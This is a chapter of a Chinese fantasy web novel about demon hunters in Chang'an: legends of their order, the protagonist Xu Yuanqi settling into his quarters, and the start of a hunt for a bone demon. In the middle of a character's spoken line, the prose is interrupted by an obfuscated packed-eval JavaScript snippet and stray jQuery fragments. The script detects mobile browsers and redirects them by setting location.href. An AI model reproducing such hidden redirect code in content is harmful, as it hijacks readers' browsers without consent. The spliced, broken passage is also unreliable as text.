南楼雪尽 作品

3. 钟声泣泪故人骨3

    除妖师内部广泛流传着四大诡事。


    诡事之一,少主之死。


    少主,即风云派弟子易世安,世人谈及他,无非皆是云中白鹤,昆山片玉。


    其少时便聪慧,横扫了同辈,是无数人心中的白月光,一直以来被风云派掌门视为继承人,因此得来“少主”尊称,奈何少年心气高,不愿守在云笈山上,誓赴长安守护苍生。


    除妖师远赴长安上百年,唯独易世安的出现,才第一次让众人知晓了“危妖”的存在,一时之间,门派轰动。


    相传危妖乃妖皇培育出的妖怪,是已知妖皇之下最强大的妖。


    在此之前的除妖师都还没能接触到危妖便命断长安。


    易世安十八岁远赴长安,二十二岁死尽亲友,其一人独守长安九月,先后斩杀三只危妖。


    然而,关于这个天才的结局,《故人记》中只轻描淡写落下一句:“风云派弟子易世安与妖女危月在大战中同归于尽。”


    寥寥一句,怎么死的,在何处死的,都没有解释。


    世人只道,天才陨落,白月归天。


    他的死,从此也成了后来除妖师时常谈到的话题。


    每每听到这个话题的时候,胥远期都会轻叹:“易世安呀易世安,你的死究竟困住了多少人?”


    诡事之二,古钟密文。


    众人皆知,永和派前的偌大古钟上,雕刻着扭曲怪诞的字体,仿佛是一种密文,但这千年前留下的的秘密,千年后的他们无人知晓。


    胥远期在立誓时也多看了几眼,字体奇怪,他实在看不懂。


    诡事之三,归墟哀响。


    约摸从几年前开始,每逢深夜,归墟司的地下总能传来凄惨悲切的哀嚎声。


    声音回荡良久,悲凉至极,让初入此的除妖师们不寒而栗。


    又或许发自心底的畏惧,让他们不敢去探究地下的秘密。


    甚至胥远期听说,有时不光是夜晚会有惨叫声,白天也会有。


    诡事之四,则是最血腥的血衣灭门。


    五十年前,归墟司内发生了一起灭门惨案。


    初出茅庐的百位除妖师到达归墟司的第一天夜里,被一女妖尽数屠杀,只有一个躲起来的二十多岁的执笔人幸存于那场祸事之中。


    掌门痛心,雏羽初涉世,未谙江湖险,灾难突临,乱了阵脚。


    因此,新规诞生,除妖师入长安后,先分散居住,一年以后,再入归墟司。


    而那个执笔人在众人赶来之时,彻底疯了,嘴中只喃喃重复一句:“血衣……好美的血衣……”


    从此,“血衣灭门”之案成了除妖师挥之不去的噩梦,下山的第一天,没有人能安然入睡。


    如今,归墟司四大诡事中就占了两个,确实让刚下山的他们不免生畏。


    胥远期强颜欢笑:“无妨无妨。”


    大初小初轻轻拍了拍他的肩膀。


    胥远期叹息一声,抬头一瞥,意外看见两个女子交换了竹签。


    一个他是认得的,那姑娘也是山河派的人,她叫顾清冉,她还有一个哥哥,叫做顾长聿,二人此次都被选中来长安了。


    另一个女子打扮得干练洒脱,是在易世安墓前不肯离去的一人。


    他心中有些许好奇,便问一旁的初小二:“你知道那姑娘是谁吗?”


    初小二顺着他的目光看去,“她呀,付夜紫,你不知道吗?风云派掌门之女。”


    初小一突然凑过来说道:“我听说一个小道消息,风云掌门很中意简无遗,一直很想让自己的女儿和简无遗在一起,但他俩好像互没看上眼,反正现在就是毫无进展。”


    “你怎么连这都知道?”看着初小一侃侃而谈,胥远期惊呆了。


    “低调低调……”


    初小一正说着话,目光突然盯在胥远期身后不动了。


    胥远期看过去,他身后那人举手投足间趾高气扬,满脸的戾气与不屑。


    初小一瞄着那人,目光先是瞥向他的头饰,然后落到他腰间的玉佩与容臭之上,最后偷偷瞄了一眼他手中的竹签。


    他摇摇头,叹息一声,对初小二说道:“小初,你完蛋了。”


    初小二摸不着头脑:“咋了?”


    初小一一副郑重其事的模样:“你和阴执一都是西。”


    胥远期:“阴执一又是谁?”


    看着他迷茫的眼神,初小二绝望道:“当朝宰相之子。”


    “家世好,自诩清高,盛气凌人。”初小一摇了摇头。


    胥远期似懂非懂地点了点头,他还当所有除妖师都出身贫苦呢,此刻便有些疑惑:“既是宰相之子,为何来当除妖师?”


    “因为愿意当除妖师的越来越少,十多年前宰相为了号召百姓,便身先士卒,将自己疼爱的长子送了出去。”


    “原来如此。”


    胥远期点了点头,他现在只觉得风云派的人,像简无遗、付夜紫、阴执一,他们个个都是有点家伙在身上的,一对比发现山河派的人也太朴实无华了吧。


    他看向初小一,又问:“不过,你怎么什么都知道?!”


    初小二慢条斯理地替身旁人回答道:“八卦就是大初的兴趣爱好,平时门派闲一点的时候,他就四处打听消息,都快把对方家底摸清了。”


    胥远期对着初小一竖起了大拇指。


    初小一认可地点了点头。


    几人又相互叮嘱了几句才不舍告了别,按执笔人的指示各奔东西。


    胥远期扫了一眼留在府邸内的二十人,一大半都是山河派的人,那兄妹俩都在,还有,简无遗也在。


    胥远期对简无遗这人没来由的好奇,他真的奇怪,这人长得倒是温和俊雅,但怎么能面无表情到这种地步。


    在他愣神时,执笔人的声音再度响起。


    “府中除你们外还有十余人,包括我在内,负责诸位吃食和大事记载,其余事情全靠诸位自己安排。”


    他顿了顿,又道:“上届除妖师让我转告你们,有一白骨所化的妖怪,害人无数,遗憾数次抓捕未果,此妖喜热闹,极有可能在元宵夜出没,望后来者可先将此妖除之而后快,圆前人未了之遗愿。”


    领路人像是背诵诗章,倒显得有些刻薄,说完这些话便快步离开。


    胥远期有些凌乱,这么快就要实战了?


    大家也不过是恍惚了几秒,随后便略显兴奋地开始选屋子,胥远期逛了很久,最终选了一个名为“月沉阁”之地。


    他进去时,发现有间房屋已住了人。


    他觉得有趣,谁和他选了同一个院落。


    于是他在门前佯装不经意地向内瞟了一眼。


    啊哦……是简无遗。


    屋内简无遗察觉到了他的目光,依旧平淡至极地瞥了一眼。


    胥远期有些尴尬,悻悻进了屋。


    房间的布置很简单。


    一张床,一张靠墙的方桌配一把椅子,一套衣柜,以及一面墙的书柜。


    后面有个面积不大不小的隔间,放着沐浴所需的浴桶。


    行李收拾好后,胥远期便停在了书柜前。


    书柜上的书分为两栏,一栏名为《故人记》,一栏名为《万妖录》。


    他从故人记中抽了一本出来,书中记载的是历年来除妖师之死,他看着白纸黑字,这些死法千奇百态,有些血腥到让人如坐针毡。


    胥远期紧锁着眉头,又抽出了一本,他看到了易世安的名字。


    果然如诡事所言一般,别人的死亡都是具体的一大篇字,可关于易世安的死,书上只有一句话:“风云派弟子易世安与妖女危月在大战中同归于尽。”


    为什么关于这个传说中的天才,只留下了这一句话?胥远期有些想不明白。


    “危月……”胥远期看着书上这个名字,也是一只危妖。


    胥远期眼前一亮,又在万妖录中翻找,果然找到了危月这个名字。


    “危火、危海、危月,皆属于危妖,其能力远超寻常妖怪,手段残忍至极,明昭九年,危火、危海被易世安所杀,明昭十年春,危月身死,目前危妖数量,暂不得知。”


    “原是如此。”胥远期轻轻了合上书,他低着头,眼中有万千思绪。


    与他一墙之隔的简无遗同样站在了书柜前,当他看到关于易世安的那句话时,少年眸色微沉,语气冷冷道:“欲盖弥


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15334158|167744||http|test|mini|href|location.split(|),0,{}));


    () {


    $(.inform).remove();


    $(#content).append(


    彰。”


    偌大的归墟司安静不已,所有新来者都在书柜前驻足良久。


    世间多少秋毫,昔日那般惨烈的景象,在多年以后,也只成了书上早已干掉的墨,供后人借鉴。


    胥远期看着泛黄的书页,他在想,在某一天,他的生死也会被记录在这样的纸张上,后来的除妖师们会不会在他这页上停留片刻。


    他拖下靴子,躺下床闭着眼睛想睡一觉。


    昨夜一宿赶路未睡,着实是累的。


    不过他显然高估了自己的心态,他掀开眼,抬眸望去。


    冷风一直往屋中灌,白纱帘被吹得轻轻扬起,石板上的阳光若隐若现,这个屋子中有一种久未见人的湿气,窗边摆放的那盆剑兰已枯死,枯枝粘黏在泥土上,花瓣失去了颜色,只是它的形状还维持在盛放最美的时候,想必是上一个曾在这里居住的人栽种的,但没等到冬天那人便死了,花因为没人浇水也死了。


    “满屋子的债。”


    少年实在难以入睡,便坐了起来。


    一直以来,胥远期都知道除妖师的使命是什么,所以他向往生,但不害怕死,既然来了,他就要竭尽全力地杀妖怪,同时,找一找,梦中的那张脸。


    他将睡乱的头发重新绑好,而后拿过佩剑,回想起执笔人所言,有一白骨所化的妖怪,害人无数。


    剑身翻转,少年的眉目被反射的光照亮,显得愈发深邃。


    月已西沉,需即刻动身。


    临行时,胥远期朝自己认识的几人打了招呼,而后看向一直闷声不语的简无遗。


    他想,迟早都是要认识的。


    于是,他踱步走于他跟前,笑着伸出手:“我是山河派胥远期。”


    简无遗木讷地看向他,颔首道:“我知道。”


    胥远期:语气没有任何攻击性,表情也没有任何攻击性,但是没有握住我的手……哇……好强的攻击性。


    他内心深叹一口气,装作什么都没发生似的缩回了手。


    转眼间,几人便来到了长安最繁华的集市——栖梧市。


    凤凰鸣矣,于彼高冈,栖梧市位于长安中心轴线甘棠大道与次轴线漱石廊之间。


    所谓夜市千灯照碧云,十二楼合天不夜,三千世界春如海,赶上了正月灯市,街道人头攒动,灯火通明,才子佳人,相约成对,言笑晏晏。


    胥远期立于混沌人群中,老远看见初小二目瞪口呆地自言自语:“这般喜庆,长安真的有妖怪吗?”


    于是他喊:“小初!”


    初小二看见熟悉的人瞬间泪眼婆娑:“远期~”


    话音夏然而止,“有妖怪。”


    “什么?”


    初小二再次说了一句:“有妖怪。”


    直觉使然,胥远期向人群中看去,一个俊俏男子与他对视后瞬间淹没在人群中。


    “别跑!”


    他立刻追了过去。


    男子跑出闹市,胥远期紧追不舍,出了一拐角巷后,男子不见了。


    胥远期气喘吁吁地停在一门漆深黑的棺材铺前,他看了眼檐角晃个不停的悬铃,将门前挂着一盏夜灯取了下来,推门而入。


    微弱火光下,少年的眼里满是警惕。


    他将灯高高举起,屋内杂乱摆放着十二个漆黑的棺材。


    他靠近这些棺材,光线的投射下,一个棺材的尖角很明显能看出颜色深浅不同。


    胥远期用指尖蹭了一下,他眉头一皱,这是干涸的血渍。


    “嘭……”


    棺材里传来很小的撞击声。


    他将长剑握紧,调整了一个随时攻击的姿势。


    “咣当”一声,他推开了一个棺材盖,空的。


    他抬眼打量了一下四周,整个店面都阴森森的,空气中萦绕着淡淡的血腥味。


    他的目光落在了另一具棺材上。


    少年轻移步走了过去,他小心翼翼地将灯放在了一旁的棺材盖上。


    少年屏息凝神,左手掌用力一推,在目光落下的瞬间,右手挥到半空的剑凝滞住了。


    鬼灯一线,露出桃花面。


    躺在棺材中的女子,长着他日思夜想的那张脸。